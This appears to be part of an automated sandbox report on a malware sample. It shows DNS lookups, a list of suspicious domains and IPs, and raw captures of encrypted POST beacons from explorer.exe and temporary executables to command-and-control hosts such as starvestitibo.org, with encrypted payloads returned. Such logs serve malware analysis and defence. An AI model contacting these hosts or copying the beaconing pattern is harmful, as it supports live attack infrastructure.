Nov 3, 2022 12:46:52.549875021 CET	8.8.8.8	192.168.2.6	0x554c	No error (0)	shingroup.com	185.220.204.64	A (IP address)	IN (0x0001)	false
Nov 3, 2022 12:47:12.209808111 CET	8.8.8.8	192.168.2.6	0x6b9c	No error (0)	t.me	149.154.167.99	A (IP address)	IN (0x0001)	false
Nov 3, 2022 12:47:22.295101881 CET	8.8.8.8	192.168.2.6	0x5c3e	No error (0)	starvestitibo.org	193.106.191.15	A (IP address)	IN (0x0001)	false
Nov 3, 2022 12:47:27.925385952 CET	8.8.8.8	192.168.2.6	0xd77f	No error (0)	api.2ip.ua	162.0.217.254	A (IP address)	IN (0x0001)	false
Nov 3, 2022 12:47:32.542232990 CET	8.8.8.8	192.168.2.6	0x2a31	No error (0)	o36fafs3sn6xou.com	87.251.79.105	A (IP address)	IN (0x0001)	false
Nov 3, 2022 12:47:41.945038080 CET	8.8.8.8	192.168.2.6	0xfd5d	No error (0)	o3zxuhcc4hl9mi.com	87.251.79.105	A (IP address)	IN (0x0001)	false
Nov 3, 2022 12:47:43.778094053 CET	8.8.8.8	192.168.2.6	0x7779	No error (0)	o3l3roozuidudu.com	87.251.79.105	A (IP address)	IN (0x0001)	false
Nov 3, 2022 12:47:53.272134066 CET	8.8.8.8	192.168.2.6	0x23eb	No error (0)	o3npxslymcyfi2.com	87.251.79.105	A (IP address)	IN (0x0001)	false
Nov 3, 2022 12:48:02.585911036 CET	8.8.8.8	192.168.2.6	0x815f	No error (0)	o3b1wk8sfk74tf.com	87.251.79.105	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

shingroup.com

t.me

api.2ip.ua

ihscr.org

furubujjul.net

erlnjwq.org

starvestitibo.org

petsisa.org

afsgomos.com

wovjsp.com

ugojjub.net

ojgirn.com

185.174.137.70

kgypm.com

tigsodvg.com

tdwofe.org

gnwpmx.org

lcnrqc.com

nduckkr.com

qtvcgbfk.net

gafgylgoi.com

nmqtq.net

ejmdi.net

xnnhfx.net

xoeixqhnce.com

95.217.246.41

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.6	49706	185.220.204.64	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.6	49707	149.154.167.99	443	C:\Users\user\AppData\Local\Temp\5487.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.6	49713	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\5999.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.6	49703	91.195.240.101	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 3, 2022 12:46:48.391418934 CET	99	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ihscr.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 127 Host: furubujjul.net
Nov 3, 2022 12:46:48.391434908 CET	99	OUT	Data Raw: 48 9d 8c cf 3d 67 55 21 2a 70 52 52 7e db 55 b9 28 67 eb 65 fb 6a ab d8 b5 69 a1 83 71 85 de 99 f9 dd 8b b7 70 33 95 c6 ab 55 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 bb ca 21 d2 Data Ascii: H=gU!*pRR~U(gejiqp3Ujp_S61oJf=B!bO!j#&10i~q)/+9,UJBR
Nov 3, 2022 12:46:48.411819935 CET	99	IN	HTTP/1.1 403 Forbidden date: Thu, 03 Nov 2022 11:46:48 GMT content-type: text/html content-length: 150 vary: Accept-Encoding server: NginX Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.6	49704	193.106.191.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 3, 2022 12:46:48.499844074 CET	100	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://erlnjwq.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 219 Host: starvestitibo.org
Nov 3, 2022 12:46:48.499922991 CET	100	OUT	Data Raw: 48 9d 8c cf 3d 67 55 21 2a 70 52 52 7e db 55 b9 28 67 eb 65 fb 6a ab d8 b5 69 a1 83 71 85 de 99 f9 dd 8b b7 70 33 95 c6 ab 55 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 e6 c9 14 c8 Data Ascii: H=gU!pRR~U(gejiqp3Ujp_S61oJf=B!bO9p3zVx_H1!Rbh>c+ogfj*n,'Ra'[\"^<4(2oq"(<v0FeA
Nov 3, 2022 12:46:48.567240953 CET	102	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 03 Nov 2022 11:46:48 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 66 66 61 30 0d 0a 19 00 00 00 1f 3d 5a e4 71 20 3c 60 7e 45 e7 de bd d8 f7 26 6f 18 c8 43 85 0c 8a ae 57 00 37 cc 03 00 34 6f 8a 38 01 00 00 00 02 00 9e 03 00 00 73 d2 09 b6 c9 de db c5 ba 1e d7 7f 00 12 17 00 23 c9 75 21 7d 31 a2 02 6b a5 2d 41 ec 51 18 fa f8 e1 fc b7 d5 59 5e d9 fc 05 8a e6 2e b0 b3 25 e5 ea a7 6b bf aa d2 2a a1 30 2e 91 f4 d1 8f ea 9f c6 25 9c c5 89 09 cb 73 4a b2 26 d8 20 90 41 44 69 cf 7e 2f 45 4f d8 13 77 10 87 39 b4 bf 0f f7 e9 19 82 a7 10 b1 d7 19 1a 19 6a 33 fc 4e ec 20 86 9f cf 03 46 7d f0 e6 e5 4f a4 db 03 b4 3f dc 6e 62 a8 cf d0 14 a1 8b 5a 40 bb 9c 22 79 f8 02 92 87 b6 85 0e 2a 26 b7 a0 50 44 13 d1 ad da 68 6b 16 86 cc 76 b9 cc c2 8b e1 c5 1a 29 ca ae 93 ea 2a 85 ed cb d3 f5 00 0b 8c 84 9b 73 73 ac 0e 89 cf 08 3b 19 e1 d1 18 0b 83 49 65 d5 bc a8 fb f8 75 ea 73 e5 36 e7 89 9e bc fc e0 93 9f 0e 30 e3 b1 93 95 97 a7 51 6e c6 76 98 34 61 81 b9 d4 29 1e 0b 48 34 51 ea a8 27 bd a7 d3 19 7b ba fb 14 37 89 40 35 c9 72 ce ff 7e 73 02 80 1d 34 a3 d6 d5 35 54 16 c0 8c 0b b9 9c 39 cc 5a 58 e4 72 4a e6 3d ac 59 3b f2 1d 17 db 53 f1 f9 f8 6d 3c cd 87 c5 4c 80 7e b9 38 2b 2b 80 c9 45 28 26 8c 39 c1 e6 f7 06 d2 9f 3e 54 78 a5 8f 04 e0 44 d8 60 ef b0 31 16 26 48 3c be 6d 48 19 5f 48 77 e4 60 01 bd 87 b0 1c 9d a1 16 f4 36 d8 35 bf ff c2 92 ea 11 27 67 98 42 42 9d 33 db ad c4 a3 26 8a 4b 66 21 d8 e8 f5 cb c5 74 47 a9 b2 e7 8c 03 31 86 6a da 0d d8 d6 c4 39 45 06 a7 92 40 bc b7 0c ee a1 e3 2d e7 7f ff 08 9e 1a e4 a2 39 f6 af eb 37 f9 22 7e d2 9a 52 2e a6 c0 ce 7d 15 3c f7 86 de a3 9b c7 d1 a6 f5 37 e4 1d 47 e4 a8 f1 e3 34 b5 9d 6b e1 c6 0f 1e c2 d1 4c 69 46 31 be 52 37 2a 13 f1 90 bb 5e 00 af bd cf d3 34 dc cd 26 20 32 30 1e 71 18 15 45 d5 f8 9e 0c 94 79 ea b4 f4 f6 da 66 24 c8 7b 72 72 58 6f 47 16 74 8a bd ad 34 13 13 7d 27 a1 79 5d b2 03 f1 af 97 4a cd 31 e2 5d d4 33 e6 16 91 9e fa ae ac e7 2e be bd 94 e8 0e d8 7b bc f4 e5 63 8c d4 89 47 d2 c8 81 4f 81 4f f3 55 43 56 9b 62 c8 4b 42 b3 0a f7 40 ec 9a 8a a3 0e c2 c8 6e 35 97 c7 a8 aa 86 3a 19 e2 ca 43 2a be 48 8a 79 b3 54 95 5f 47 5b d7 47 fd f7 5f 41 16 04 f0 67 35 8b 47 47 b8 26 83 63 1f 06 56 97 9b c9 11 b7 a7 b0 81 21 59 20 1a 5b 8c 1e f9 c3 97 29 59 20 d5 16 8d 88 d8 24 27 06 7e 2a d4 49 96 b7 95 e2 c7 c4 c3 58 e2 79 dd 83 78 0c 00 9c 2f 73 9d 0b d2 68 ac 80 b9 86 58 9d 23 ee 62 21 30 26 25 55 64 97 c5 7b eb cd 77 50 c6 e1 2a f7 16 b2 49 be eb 08 2c 4d df 0d 9d 94 48 cd d5 13 52 e2 13 de 06 be 34 4a 31 36 e1 74 20 08 70 90 ea 7c e9 e1 1d 2f 2a 8b 1f 19 42 a3 08 15 70 4c 61 08 2e 7b 12 13 a7 41 aa e9 c0 c7 f5 b5 aa f6 4d b0 da 53 ef cf 14 a9 19 2b af ac 9e 8e e3 1f 9f 16 ed 55 0a ec 50 18 fe 1d f5 0b 62 61 32 1d 3f 6d 5b 9c ee e0 0e 6a ee b5 4b bc 61 41 bf be 55 b1 b6 0a bb c0 04 c0 77 9c 80 79 af 15 22 6b a8 d0 63 fb a5 ae c0 41 33 36 88 c7 03 e6 ca 58 70 9e d0 a4 9f 65 34 bf ff 2c 83 19 72 4c 35 f7 61 ce d4 d5 91 79 f7 37 eb 61 de 9f 9d 85 5d 63 be ec cc f8 68 43 06 ad a0 c1 00 28 ce f0 51 11 6d aa e4 90 1d a2 7d 54 4b 22 44 69 1f ae b0 0a b6 f7 6c 03 43 f3 4c d9 b9 d6 0e 33 a9 b4 79 53 04 bb 8e ff 9f c9 51 88 45 0f 41 63 c6 e0 89 30 c3 47 52 72 85 44 21 1e fd fa a8 d1 cb 21 aa 0c 3f 03 02 5b 20 20 aa ef 6c 0c a5 d1 f0 9c 0b b7 82 4d 63 9c 87 c0 69 81 26 bb c1 1b 3b 7e 25 5b b7 05 45 e5 46 9d 54 16 85 d9 02 50 27 d4 6d ec 88 dc a7 9e 76 87 6c aa f1 0d 5a 2e 9a e4 57 d3 6e ec 9e 80 bd 18 a7 bb 7e 22 10 58 c1 68 c2 19 5b Data Ascii: 1ffa0=Zq <`~E&oCW74o8s#u!}1k-AQY^.%k0.%sJ& ADi~/EOw9j3N F}O?nbZ@"y&PDhkv)ss;Ieus60Qnv4a)H4Q'{7@5r~s45T9ZXrJ=Y;Sm<L~8++E(&9>TxD`1&H<mH_Hw`65'gBB3&Kf!tG1j9E@-97"~R.}<7G4kLiF1R7^4& 20qEyf${rrXoGt4}'y]J1]3.{cGOOUCVbKB@n5:CHyT_G[G_Ag5GG&cV!Y [)Y $'~IXyx/shX#b!0&%Ud{wPI,MHR4J16t p\|/BpLa.{AMS+UPba2?m[jKaAUwy"kcA36Xpe4,rL5ay7a]chC(Qm}TK"DilCL3ySQEAc0GRrD!!?[ lMci&;~%[EFTP'mvlZ.Wn~"Xh[
Nov 3, 2022 12:46:48.567296028 CET	103	IN	Data Raw: 57 17 57 a1 f4 c6 ee 88 60 15 99 29 37 06 40 ca b0 87 06 48 cd e6 b7 ab dd 23 3a 57 47 99 80 2b 2e 60 06 ad 75 4b 59 d2 a3 26 63 d5 cd 91 ce ff 1c 8f a3 e6 d7 5a d4 a4 bd a3 1b 61 30 58 e3 ad 26 a1 8a 42 7e 18 4d e7 14 23 ef f1 c1 55 87 84 78 3d Data Ascii: WW`)7@H#:WG+.`uKY&cZa0X&B~M#Ux=07R~rc3?>9Mg/49coC::zFg]?2s:p,c$iEi=9rPEuj*tO"s_L
Nov 3, 2022 12:46:48.567320108 CET	104	IN	Data Raw: d9 4a 6a 65 8b 86 95 0f 74 28 67 67 ec 79 db 23 4b 55 1c 80 90 00 8a 38 77 64 3c 02 06 59 40 59 24 31 c2 13 fd c5 2a f3 e0 8f 0f 9f da 42 af 6b ce f7 7f 8e 3b ba a9 9f 6d 7e 31 4a 5c 9e 3c 51 6b 84 84 ba 18 ca d5 f3 1c 6a 29 71 83 c8 94 9d 44 7e Data Ascii: Jjet(ggy#KU8wd<Y@Y$1*Bk;m~1J\<Qkj)qD~dAF&bTJZ6zSd(yUv!BN]\[P(o1sfT2vi3RaGTt}64N_m+l[{aEt_=kD6q7
Nov 3, 2022 12:46:48.567348957 CET	106	IN	Data Raw: 29 11 61 aa f3 6f 85 40 15 07 c8 d6 01 78 39 89 c0 39 71 77 47 f0 0b 17 c2 10 db a4 52 b9 20 68 21 e4 0e ec ee 0b ff 55 72 52 42 d9 d0 4a 7e 5b 7a 17 de 2a 0e ed 15 06 7e 9f 9b 3a be 3b 62 10 57 2b f7 ae 0c b4 b2 f4 d8 b7 65 15 ef 37 95 58 11 ae Data Ascii: )ao@x99qwGR h!UrRBJ~[z*~:;bW+e7XhA0#B8W6+\|eu2?(`@z5+s^}2{aAuB0U4+mSbh;E9;bW`hsm%uxbFOo(+
Nov 3, 2022 12:46:48.567377090 CET	107	IN	Data Raw: 73 4f 0e d8 a8 09 6b 37 aa 37 64 3b 3f 23 1e 41 41 93 2b 62 c9 4a 6b da 59 db 6c 2f a9 3f f7 0a 3b ff 7c 32 88 e4 71 40 8d d5 6b a1 c6 8d 2e b4 e6 89 8c 90 d2 62 de 85 ac e0 74 1d 43 83 6c 5a 7d f6 33 46 d0 04 9e 56 50 25 5f 54 bc 5f ab f0 01 bb Data Ascii: sOk77d;?#AA+bJkYl/?;\|2q@k.btClZ}3FVP%_T_9SUc/g{p[q<Fp%/HzjTyPC@k<EdyM_lt"'/EKPSzC(HmLB*V`R,"NN1-8a
Nov 3, 2022 12:46:48.567405939 CET	108	IN	Data Raw: 99 63 b9 46 32 bd 3b 81 2f 65 4d 6f 85 42 58 29 b8 7b 3d dd 80 e3 9d 16 ba 1a 03 0f 30 9f 2b 98 8b ac 52 cb 2d 56 17 ff ea 76 32 0d e6 82 be 86 a5 17 9d cb b4 22 6d b2 b9 7e 2f 54 ac a5 cb 57 8c e3 e7 d0 cb d9 75 f0 49 7b b7 2d 4b ca 29 cd a5 40 Data Ascii: cF2;/eMoBX){=0+R-Vv2"m~/TWuI{-K)@5s}\|`@_N6El\|F_el!d"6e?r(FR%]cc\|DFq#,Dn<JwlyGyUEoM76="-ljy
Nov 3, 2022 12:46:48.567437887 CET	110	IN	Data Raw: 5d ed 84 1b 4c 83 2c a3 92 6b ca a1 ec 13 52 a5 eb 02 8d 88 45 b6 80 66 06 07 12 05 3f 42 47 89 78 5b fa 45 a5 11 53 6c 7c 90 23 18 24 c7 8a bb 0a 7d c2 05 2a f5 49 f1 6b 1e d7 64 44 56 80 94 f6 1b 2f 7e 7a 09 3e b2 3e bf 57 15 ef 88 e3 29 b5 d7 Data Ascii: ]L,kREf?BGx[ESl\|#$}*IkdDV/~z>>W)~?,SXPK<5m!.0fbIhSn}7\trRoNrMj[D>^i]~rpwZ6@o>t>Tv8P<{K}l<q1
Nov 3, 2022 12:46:48.567467928 CET	111	IN	Data Raw: 51 ee e7 27 50 d4 bd f7 5d 11 aa 9e d4 11 9c 92 3a 13 91 32 42 02 00 fd 07 06 c1 ee b1 72 45 37 ab ad ca a3 cf fb ef 2a ce 15 ee 12 f1 9a 27 93 ab 81 28 20 4f 6c dd db d2 49 3c ed 30 9f 42 4d 26 74 26 05 ca 72 3e 60 31 2c bd ad 03 67 65 ed 1e 39 Data Ascii: Q'P]:2BrE7'( OlI<0BM&t&r>`1,ge9xk'#L(`3]M#C:x..jJt1{Wja&gCbVvo.c'&$F]%),}<+$R^3
Nov 3, 2022 12:46:48.567497969 CET	112	IN	Data Raw: a4 2f ab 37 04 39 6a 84 b3 a8 09 6d 0d 76 15 d4 8e 9b 13 c5 8c a9 e7 01 88 f3 46 da 00 a1 d5 b9 c5 00 ff 91 83 b1 42 c2 e8 27 c9 9e 02 ab 34 ac e0 d2 50 67 0e db c6 9e 3b c3 8d f0 df d0 b6 b5 e5 0b f4 bc a2 ed 48 70 de 90 55 1d c3 ab db 87 12 54 Data Ascii: /79jmvFB'4Pg;HpUT' ?TAwJ3^}b2j0&L%]v(Q35:WFS}l mq]AGNdpy`D*"_P$
Nov 3, 2022 12:46:48.567528963 CET	114	IN	Data Raw: 01 53 db 00 13 c2 66 96 74 72 ad de 9f ef 9b 5c 6d b4 60 83 2f f3 8f d5 ac 19 46 79 aa f4 02 fc 3f eb 8e 21 07 c0 44 a3 53 77 95 01 64 f7 e6 00 a8 ad c5 1d 2c 79 2e 44 f0 50 7d c3 4f e7 64 89 46 d8 a2 0c 1e d4 cc 3a eb c0 a4 47 be d5 58 cd 4a b4 Data Ascii: Sftr\m`/Fy?!DSwd,y.DP}OdF:GXJ7h^\A$1[ro&"x7$%,:Tx}=u(dg77E0AnOY>uh$kV8N^R"uTz{ETGNu"dG*w5\{,"sID
Nov 3, 2022 12:46:48.624706030 CET	115	IN	Data Raw: fd 9c d9 7e 08 a4 6b ac b3 97 f4 20 bc 94 7e 9c 3d 4d f9 a4 46 58 77 40 27 b8 86 e7 04 b9 33 2a b8 ca dd 24 0b d9 c7 bd 75 0e 5c 8f 75 b9 0d 59 1b bf fe db 51 1e b2 fe 82 1a db 27 b7 69 6d 63 60 09 2b d3 2e 03 a2 7f 05 8c 09 b5 ff 2e 54 83 22 b1 Data Ascii: ~k ~=MFXw@'3$u\uYQ'imc`+..T"X,rKF'h~i@MWC SQ\|N)3o")(6? a5#-"h@FWfO,mlZSS6/-EoD^7'zFIpBK@L?r
Nov 3, 2022 12:46:48.916598082 CET	360	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://petsisa.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 352 Host: starvestitibo.org
Nov 3, 2022 12:46:48.916677952 CET	360	OUT	Data Raw: 48 9d 8c cf 3d 67 55 21 2a 70 52 52 7e db 55 b9 28 67 eb 65 fb 6a ab d8 b5 69 a1 83 71 85 de 99 f9 dd 8b b7 70 33 95 c6 ab 55 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 ba 8a 14 62 cd d6 4f 96 88 d9 12 b0 Data Ascii: H=gU!pRR~U(gejiqp3Ujp_S61oJf=B!bOu,XA{vgCA<bT/zgVvJ5([C<Uv8%-Xylt O"%bMZKl5hJfA,GS/j
Nov 3, 2022 12:46:48.983870029 CET	361	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 03 Nov 2022 11:46:48 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 34 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 147<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>0
Nov 3, 2022 12:46:48.992986917 CET	361	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://afsgomos.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 286 Host: starvestitibo.org
Nov 3, 2022 12:46:48.993046999 CET	361	OUT	Data Raw: 48 9d 8c cf 3d 67 55 21 2a 70 52 52 7e db 55 b9 28 67 eb 65 fb 6a ab d8 b5 69 a1 83 71 85 de 99 f9 dd 8b b7 70 33 95 c6 ab 55 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 bb 8a 14 62 cd d6 4f 96 b2 e3 13 e2 Data Ascii: H=gU!*pRR~U(gejiqp3Ujp_S61oJf=B!bO\|?0-6`dG?f>~5_e03Rzq0S~X[ ,-yiY;YlM1t2P%"@DF5PG7Proi
Nov 3, 2022 12:46:49.060157061 CET	362	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Nov 2022 11:46:49 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Nov 3, 2022 12:46:49.068445921 CET	362	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wovjsp.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 144 Host: starvestitibo.org
Nov 3, 2022 12:46:49.068514109 CET	362	OUT	Data Raw: 48 9d 8c cf 3d 67 55 21 2a 70 52 52 7e db 55 b9 28 67 eb 65 fb 6a ab d8 b5 69 a1 83 71 85 de 99 f9 dd 8b b7 70 33 95 c6 ab 55 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 b8 8a 14 62 cd d6 4f 96 89 c9 46 b5 Data Ascii: H=gU!*pRR~U(gejiqp3Ujp_S61oJf=B!bOFdd;.EDqtSc&5\|36m,odZ
Nov 3, 2022 12:46:49.137099028 CET	364	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 03 Nov 2022 11:46:49 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 66 66 61 30 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 f5 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 96 32 68 54 8f ad 7e 3d 23 fd 85 f1 ff 6e 59 32 64 fc eb 13 35 50 b4 3b f7 48 70 b0 d0 9e 5f f2 c6 93 9c 84 0a b6 3b 85 a3 87 a9 fd 5c 9c 3d 3f 01 8b d4 be 6e cf 51 e9 3d 7c 8c 1c de 17 b7 82 06 a7 ab 67 c5 5f 21 94 73 6a a9 9a f5 fc 75 11 bf 6c 13 d9 1e 8b 34 8b 33 4f 62 3e 15 21 0b 5a a3 06 93 3a 56 3f cb 00 73 fb 42 15 9b 06 57 53 a9 06 0e ff 1d 09 52 2b e5 8d 83 7b 9e 45 f5 fe 73 8c 5c db c4 19 12 13 bf f8 62 90 24 08 4f c5 d3 e3 cb a1 61 6e de f5 69 89 18 17 7e 5f ef 9a a5 54 c9 a0 c1 bb dd 7a 08 90 4e 19 e0 2c 95 a9 1d 1a f5 96 be 25 51 61 9a e4 bb 7e 88 2c c8 48 61 26 c6 4a 98 03 fd 6c 9e aa 6b ac 87 3f bd 61 0d c0 4d bf 46 24 fd f8 12 6c 33 6c 39 7c 0a 8d c7 fd e4 0e a4 eb 7e 71 67 99 f4 1a 54 9b 4a d8 19 fe 48 4d e3 11 82 ae 9c 97 02 4c 75 56 ad f3 57 3b 2a b9 72 ee cc 23 b2 b5 8a 33 85 98 90 f7 2f e4 ec e7 6e 2b 4c 80 d0 12 f9 13 63 11 bb d6 af 31 3c 27 d4 69 b7 9f 33 c9 cc 46 d9 48 15 ac 9f c3 d9 55 7d af ba 68 92 0e ff 9d 7f 7f 55 40 57 74 7b 39 c6 e6 ac 04 28 84 42 40 77 9b c7 9b 84 e7 3d 66 f1 8a 64 b1 1d 30 12 51 8c 70 17 4b af 1f ba f6 f6 01 e8 e4 c1 4c a0 90 4e b1 54 55 a5 9a b6 1b 6f c7 cb 29 32 28 e7 5b 1e 54 ab 1e 26 7d 11 ee e3 ce 57 c3 62 79 e4 6b b5 5c 68 91 00 38 85 f3 2c 6e af 03 5b 85 1b e4 a6 65 11 9f 10 b9 d9 b0 99 07 99 8a cd e4 7f 74 39 50 6d 83 e2 cb f8 f9 82 62 7a d7 44 e0 c3 e0 2b f9 30 b9 01 10 17 28 d2 d6 43 1f d0 a1 aa 7a 8f f6 6b e3 cd d0 d9 37 40 80 e3 5c e7 52 90 3e 27 a7 3a 96 29 a3 e7 17 3f 1c 61 7c 4d cc 70 d4 03 09 a9 98 76 6e 0f ca 82 cf 25 2e 9f 96 ce ec 75 98 c3 e5 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 76 62 8c c9 69 c7 32 a7 90 4e b0 d4 08 d9 4e 2f 18 4b 74 f8 4f b5 24 74 05 f6 6c 1d bf 9d 69 13 23 92 37 88 32 78 7e 66 0b 1b b9 fb 35 51 ed 00 e4 26 0d 72 d7 a2 65 3f 3f 1c f9 e1 f7 66 08 60 f4 ce 89 ca 3b d4 85 08 c7 18 47 64 00 2d ed 07 fc ae 1c 0b 30 63 3d b7 36 2a 77 33 c3 00 45 af 62 25 0d b8 f0 66 f9 c5 c3 ee fe 09 eb a9 01 df 3d 59 c5 ff 04 ac d6 56 5f 7d 20 63 ae ce dd 9f 90 28 02 75 95 30 99 fb 0f 00 6e 69 32 11 72 48 b1 f5 ae 70 5b 28 fb 7a bb 23 40 f6 dd 6e 02 4b d0 04 81 87 10 e2 56 06 b4 b5 Data Ascii: 1ffa0`@0,xO}q4 